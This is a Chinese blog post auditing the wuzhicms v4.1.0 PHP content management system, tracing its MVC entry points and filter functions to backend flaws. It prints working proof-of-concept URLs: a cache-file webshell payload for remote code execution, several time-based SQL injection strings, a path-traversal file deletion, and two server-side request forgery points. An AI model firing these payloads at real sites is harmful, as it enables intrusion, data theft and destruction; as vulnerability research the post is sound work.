美文网首页代码审计
基于MVC架构的PHP代审——wuzhicms v4.1.0

基于MVC架构的PHP代审——wuzhicms v4.1.0

作者: book4yi | 来源:发表于2022-03-18 22:36 被阅读0次

    前言:


    目前也有几个小众cms的代审经验了,打算尝试对基于MVC架构的PHP项目代码进行审计,争取从审计新手转变成审计小白。

    五指cms:


    五指cms由原phpcms V9 负责人参加主导开发,前后台界面采用html5+css3技术,可以进行跨屏、跨设备管理内容,极大的提升了用户体验。

    入口文件:wuzhicms/www/index.php

    <?php
    if(PHP_VERSION < '5.2.0') die('Require PHP > 5.2.0 ');
    //定义当前的网站物理路径
    define('WWW_ROOT',dirname(__FILE__).'/');
    
    require './configs/web_config.php';
    require COREFRAME_ROOT.'core.php';
    
    $app = load_class('application');
    $app->run();
    ?>
    

    此处包含了两个文件,web_config.php定义了Web应用程序需要使用到的那种常量。core.php为核心函数文件,调用了set_globals()函数,将GET、POST参数全部转给GLOBALS ,然后注销get和post;调用了load_function('common')来加载核心公共函数;load_class('application')调用了coreframe/app/core/libs/class/application.class.php类函数文件,Web应用采用MVC架构进行管理

    公共函数文件:/coreframe/app/core/libs/function/common.func.php

    相关安全过滤函数分析:

    //过滤SQL关键字,mysql入库字段过滤
    function sql_replace($val){
        $val = str_replace("\t", '', $val);
        $val = str_replace("%20", '', $val);
        $val = str_replace("%27", '', $val);
        $val = str_replace("*", '', $val);
        $val = str_replace("'", '', $val);
        $val = str_replace("\"", '', $val);
        $val = str_replace("/", '', $val);
        $val = str_replace(";", '', $val);
        $val = str_replace("#", '', $val);
        $val = str_replace("--", '', $val);
        $val = addslashes($val);
        return $val;
    }
    

    文件上传安全函数:

    function filename($name) 
    {
        $_exts =  array('php','asp','jsp','jspx','html','htm','aspx','asa','cs','cgi','js','dhtml','xhtml','vb','exe','shell','bat','php4','php4','php5','pthml','cdx','cer');
        $ext = strtolower(pathinfo($name,PATHINFO_EXTENSION));
        if(in_array($ext, $_exts)) {
            return FALSE;
        }
        $rand_str = random_string('diy', 6,'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789');
        $files = date('YmdHis').$rand_str.'.'.$ext;
        return $files;
    }
    

    漏洞分析:


    共发现4处RCE,通过CNVD官网发现有1处RCE已经有人提交过了,另外3个已提交CNVD就不公开了

    • 后台RCE(四):

    漏洞代码分析:/wuzhicms/coreframe/app/attachment/admin/index.php

    public function set()
    {
        if (isset($GLOBALS['submit'])) {
            set_cache(M, $GLOBALS['setting']);
            MSG(L('operation_success'), HTTP_REFERER, 3000);
        } 
    }
    

    当用户传递动态参数sumit时,web程序会引用set_cache()方法,其中M为当前模块名attachment,继续跟进:

    function set_cache($filename, $data, $dir = '_cache_'){
        static $_dirs;
        if ($dir == '') return FALSE;
        if (!preg_match('/([a-z0-9_]+)/i', $filename)) return FALSE;
        $cache_path = CACHE_ROOT . $dir . '/';
        if (!isset($_dirs[$filename . $dir])) {
            if (!is_dir($cache_path)) {
                mkdir($cache_path, 0777, true);
            }
            $_dirs[$filename . $dir] = 1;
        }
        $filename = $cache_path . $filename . '.' . CACHE_EXT . '.php';
        if (is_array($data)) {
            $data = '<?php' . "\r\n return " . array2string($data) . '?>';
        }
        file_put_contents($filename, $data);
    }
    

    $cache_path为web服务器的缓存路径目录,$filename为缓存文件名,然后通过file_put_contents方法,毫无过滤地将$data写入到缓存文件中,那么如果该缓存文件被包含,则可以造成RCE的效果,而且一般来说缓存文件都是会被web程序利用的。按照这个思路继续分析:

    class index extends WUZHI_admin
    {
        private $db;
    
        function __construct()
        {
            $this->db = load_class('db');
            $GLOBALS['_menuid'] = isset($GLOBALS['_menuid']) ? intval($GLOBALS['_menuid']) : '';
            $this->_cache = get_cache(M);
        }
    

    当对象创建时会调用魔术方法__construct(),然后会引入get_cache()方法,继续分析:

    function get_cache($filename, $dir = '_cache_'){
        $file = get_cache_path($filename, $dir);
        if (!file_exists($file)) return '';
        $data = include $file;
        return $data;
    }
    

    get_cache()方法会包含并返回缓存文件,那么就可以造成RCE的效果了

    POC:/wuzhicms/www/index.php?m=attachment&f=index&v=set&_su=wuzhicms&submit=1&setting=<%3fphp+system($GLOBALS['cmd'])%3b%3f>

    RCE漏洞发现到处为止把,肯定还有其他能造RCE的地方,懒得一个个看了。

    • 后台SQL注入点(一)

    漏洞代码分析:/coreframe/app/core/admin/copyfrom.php

    public function listing() {
        $siteid = get_cookie('siteid');
        $page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;
        $page = max($page,1);
        if(isset($GLOBALS['keywords'])) {
            $keywords = $GLOBALS['keywords'];
            $where = "`name` LIKE '%$keywords%'";
        } else {
            $where = '';
        }
        $result = $this->db->get_list('copyfrom', $where, '*', 0, 20,$page);
    

    直接拼接用户可控的keywords参数值到$where变量中,然后将$where变量作为参数执行get_list方法,继续追踪:

    final public function get_list($table, $where = '', $field = '*', $startid = 0, $pagesize = 200, $page = 0, $order = '', $group = '', $keyfield = '', $urlrule = '',$array = array(),$colspan = 10) {
        $where = $this->array2sql($where);
        }
    

    这里又将$where变量以入参的方式进入到array2sql方法:

    private function array2sql($data) {
        if(empty($data)) return '';
        if(is_array($data)) {
            $sql = '';
            foreach ($data as $key => $val) {
                $val = str_replace("%20", '', $val);
                $val = str_replace("%27", '', $val);
                $val = str_replace("(", '', $val);
                $val = str_replace(")", '', $val);
                $val = str_replace("'", '', $val);
                $sql .= $sql ? " AND `$key` = '$val' " : " `$key` = '$val' ";
            }
            return $sql;
        } else {
            $data = str_replace("%20", '', $data);
            $data = str_replace("%27", '', $data);
            return $data;
        }
    }
    

    array2sql方法对$data变量进行了替换置空处理,但是若$data为字符串类型时,只是将%20%27进行替换置空,并没有对原始字符进行任何过滤处理。应用程序最后会通过query()方法执行mysqli_query查询操作,从而导致的SQL注入的产生。

    POC:/wuzhicms/www/index.php?m=core&f=copyfrom&v=listing&_su=wuzhicms&_menuid=54&_submenuid=54&keywords=test%27/%2AAAA%2A//%2AAAA%2A/AND/%2AAAA%2A//%2AAAA%2A/%28SELECT/%2AAAA%2A//%2AAAA%2A/3462/%2AAAA%2A//%2AAAA%2A/FROM/%2AAAA%2A//%2AAAA%2A/%28SELECT%28SLEEP%286%29%29%29aR%29--%20

    分析到这里,也就是说当动态参数在以入参的方式执行get_list方法之前,若没有进行过滤处理,且第二个参数不为数组,则会触发SQL注入,后续又找到多处后台SQL注入:

    POC:/wuzhicms/www/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=88888%bf%27/%2AAAA%2A//%2AAAA%2A/AND/%2AAAA%2A//%2AAAA%2A/%28SELECT/%2AAAA%2A//%2AAAA%2A/6572/%2AAAA%2A//%2AAAA%2A/FROM/%2AAAA%2A//%2AAAA%2A/%28SELECT%28SLEEP%284%29%29%29GZXQ%29--%20vLAW

    POC:/wuzhicms/www/index.php?m=coupon&f=card&v=detail_listing&_su=wuzhicms&groupname=88888%bf%27/%2AAAA%2A//%2AAAA%2A/AND/%2AAAA%2A//%2AAAA%2A/%28SELECT/%2AAAA%2A//%2AAAA%2A/6572/%2AAAA%2A//%2AAAA%2A/FROM/%2AAAA%2A//%2AAAA%2A/%28SELECT%28SLEEP%284%29%29%29GZXQ%29--%20vLAW

    POC:wuzhicms/www/index.php?m=order&f=card&v=listing&_su=wuzhicms&keytype=1&batchid=123d%27/%2AAAA%2A//%2AAAA%2A/AND/%2AAAA%2A//%2AAAA%2A/%28SELECT/%2AAAA%2A//%2AAAA%2A/3462/%2AAAA%2A//%2AAAA%2A/FROM/%2AAAA%2A//%2AAAA%2A/%28SELECT%28SLEEP%284%29%29%29aR%29--%20

    POC:/wuzhicms/www/index.php?m=order&f=goods&v=listing&_su=wuzhicms&keywords=888111&keytype=0&cardtype=188%27/%2AAAA%2A//%2AAAA%2A/AND/%2AAAA%2A//%2AAAA%2A/%28SELECT/%2AAAA%2A//%2AAAA%2A/3462/%2AAAA%2A//%2AAAA%2A/FROM/%2AAAA%2A//%2AAAA%2A/%28SELECT%28SLEEP%284%29%29%29aR%29--%20

    • 后台SQL注入点(二)

    漏洞代码分析:/coreframe/app/member/admin/group.php

    $this->db = load_class('db');
    public function del() {
        if(isset($GLOBALS['groupid']) && $GLOBALS['groupid']) {
            if(is_array($GLOBALS['groupid'])) {
                $where = ' IN ('.implode(',', $GLOBALS['groupid']).')';
                foreach($GLOBALS['groupid'] as $gid) {
                    $this->db->delete('member_group_priv', array('groupid' => $gid));
                }
            } else {
                $where = ' = '.$GLOBALS['groupid'];
                $this->db->delete('member_group_priv', array('groupid' => $GLOBALS['groupid']));
            }
            $this->db->delete('member_group', 'issystem != 1 AND groupid'.$where);
            $this->group->set_cache();
        }
    }
    

    这里发现并没有对$GLOBALS['groupid']进行过滤处理,程序通过load_class()来加载核心类函数,实例化对象db并引用delete()方法:

    final public function delete($table, $where = '') {
        $where = $this->array2sql($where);
        return $this->master_db->delete($table, $where);
    }
    

    接着会引用array2sql()方法进行特殊字符过滤,最后执行sql语句

    POC:/wuzhicms/www/index.php?m=member&f=group&v=del&_su=wuzhicms&callback=996<img>&groupid=%28SELECT/%2AAAA%2A//%2AAAA%2A/3289/%2AAAA%2A//%2AAAA%2A/FROM%28SELECT%28SLEEP%284%29%29%29Guqe%29

    • 任意文件删除:

    漏洞代码分析:wuzhicms/coreframe/app/attachment/admin/index.php

    public function del()
    {
        $id = isset($GLOBALS['id']) ? $GLOBALS['id'] : '';
        $url = isset($GLOBALS['url']) ? remove_xss($GLOBALS['url']) : '';
        if (!$id && !$url) MSG(L('operation_failure'), HTTP_REFERER, 3000);
        if ($id) {
        else {
            if (!$url) MSG('url del ' . L('operation_failure'), HTTP_REFERER, 3000);
            $path = str_ireplace(ATTACHMENT_URL, '', $url);
            if ($path) {
                $where = array('path' => $path);
                $att_info = $this->db->get_one('attachment', $where, 'usertimes,id');
                if (empty($att_info)) {
                    $this->my_unlink(ATTACHMENT_ROOT . $path);
                    MSG(L('operation_success'), HTTP_REFERER, 3000);
                }
            }
        }
    }
    

    $url用户可控,web应用程序会将用户输入的地址代入到数据库中查询,若查询不到相关数据则会进行引入my_unlink()方法:

    private function my_unlink($path)
    {
        if(file_exists($path)) unlink($path);
    }
    

    若文件存在,则直接进行删除操作,并没有进行安全验证

    POC:/wuzhicms/www/index.php?m=attachment&f=index&v=del&_su=wuzhicms&url=../../888.txt

    • 后台SSRF触发点(一):

    漏洞代码分析:wuzhicms/coreframe/app/content/admin/content.php

    public function edit() {
        $cid = isset($GLOBALS['cid']) ? intval($GLOBALS['cid']) : 0;
        $cate_config = get_cache('category_'.$cid,'content');
        if(!$cate_config) MSG(L('category not exists'));
        //如果设置了modelid,那么则按照设置的modelid。共享模型添加必须数据必须指定该值。
        if(isset($GLOBALS['modelid']) && is_numeric($GLOBALS['modelid'])) {
            $modelid = $GLOBALS['modelid'];
        } else {
            $modelid = $cate_config['modelid'];
        }
        $categorys = get_cache('category','content');
    
        if(isset($GLOBALS['submit']) || isset($GLOBALS['submit2'])) {
            $formdata = $GLOBALS['form'];
            //添加数据之前,将用户提交的数据按照字段的配置,进行处理
            require get_cache_path('content_add','model');
            $form_add = new form_add($modelid);
            $formdata = $form_add->execute($formdata);
    

    当存在$GLOBALS['submit']时,会包含缓存文件/wuzhicms/caches/model/content_add.NwaRa.php,然后实例化一个对象并调用execute()方法,$formdata作为参数进行传递:

    public function execute($formdata) {
        foreach($formdata as $field=>$value) {
            if($this->check_field($field)===FALSE) continue;
            $field_config = $this->fields[$field];
            $name = $field_config['name'];
    
            $func = $field_config['formtype'];
            //在field_config 必须包含的键值:field
            if(method_exists($this, $func)) $value = $this->$func($field_config, $value);
    

    execute()方法中会遍历$formdata数组,然后判断类中是否存在函数$field_config['formtype'],若存在则引用该函数,当键名$field="content"时,$field_config['formtype']="editor",此时会调用editor()方法:

    private function editor($config, $value) {
        extract($config,EXTR_SKIP);
        if($setting) extract($setting,EXTR_SKIP);
        if($value && $editor_type=='ckeditor') {
            $value = str_replace('<div style="page-break-after: always"><span style="display: none;">&nbsp;</span></div>','_wuzhicms_page_tag_',$value);
        }
        /*远程图片加载*/
        $enablesaveimage = $setting['enablesaveimage'];
        if(isset($_POST['spider_img'])) $enablesaveimage = 1;
        if($enablesaveimage) {
            $watermark_enable = intval($setting['watermark_enable']);
            $attachment = load_class('attachment','attachment');
            $value = $attachment->save_remote($value,$watermark_enable);
        }
        return $value;
    }
    

    $enablesaveimage = 1成立,继续跟踪save_remove()方法

    public function save_remote( $str = '', $watermark_enable = false)
    {
        if(empty($str)) return false;
        if($watermark_enable==1) $this->water_mark = true;
        $list = $replace_array = array();//这里存放结果map
        $c1 = preg_match_all('/<img\s.*?>/', $str, $m1);//先取出所有img标签文本
        for($i=0; $i<$c1; $i++) //对所有的img标签进行取属性
        {
            $c2 = preg_match_all('/(\w+)\s*=\s*(?:(?:(["\'])(.*?)(?=\2))|([^\/\s]*))/', $m1[0][$i], $m2);//匹配所有属性
            for($j=0; $j<$c2; $j++) //将匹配完的结果进行结构重组
            {
                $img_attr = $m2[1][$j];
                if( !in_array($img_attr, array('src','alt','title')) ) continue;
                $list[$i][$img_attr] = !empty($m2[4][$j]) ? $m2[4][$j] : $m2[3][$j];
            }
        }
    
        foreach($list AS $k=>$v)
        {
            if(strpos($v['src'], '://') === false || strpos_array($v['src'], array('127.0.0.1','localhost',ATTACHMENT_URL) ) !== false) continue;
    
            $alt = isset($v['alt']) ? remove_xss($v['alt']) : remove_xss($v['title']);
            $new_path = $this->get_remote_file( $v['src'], array('alt'=>$alt) );
        }
    }
    

    利用正则匹配提取img标签的src属性所指向的url,并写入到$list数组中:

    然后遍历$list数组,将url作为参数传入到get_remote_file()函数中

    public function get_remote_file($path = '', $file_attr = array() )
    {
        if(empty($path)) return false;
    
        $content = $this->get_remote_core($path);
    

    继续追踪get_remote_core()函数:

    private function get_remote_core($path = '')
    {
        if(function_exists('curl_init'))
        {
            $c = curl_init();
            $domain_array = parse_url($path);
            curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($c,CURLOPT_REFERER,$domain_array['scheme'].'://'.$domain_array['host']);
            curl_setopt($c, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko');//部分服务器判断浏览器头,这里加上防止其返回404等异常;
            curl_setopt($c, CURLOPT_URL, $path);
            curl_setopt($c, CURLOPT_HEADER, 0);
            curl_setopt($c, CURLOPT_TIMEOUT,30);
            $contents = curl_exec($c);
    

    $path为url地址,利用curl_exec()发送http请求,并无其他有效的过滤措施,存在服务端请求伪造漏洞,由于该漏洞是由于curl_exec()造成的,可通过gopher协议进一步造杀伤。

    • 后台SSRF触发点(二):

    漏洞代码分析:wuzhicms/coreframe/app/search/admin/config.php

        public function test() {
            $sphinxhost   = remove_xss($GLOBALS['sphinxhost']);
            $sphinxport   = remove_xss($GLOBALS['sphinxport']);
            $sphinxhost = !empty($sphinxhost) ? $sphinxhost : exit('-1');
            $sphinxport = !empty($sphinxport) ? intval($sphinxport) : exit('-2');
            $fp = @fsockopen($sphinxhost, $sphinxport, $errno, $errstr , 2);
            if (!$fp) {
                exit($errno.':'.$errstr);
            } else {
                exit('1');
            }
        }
    

    相关文章

      网友评论

        本文标题:基于MVC架构的PHP代审——wuzhicms v4.1.0

        本文链接:https://www.haomeiwen.com/subject/bsbqkrtx.html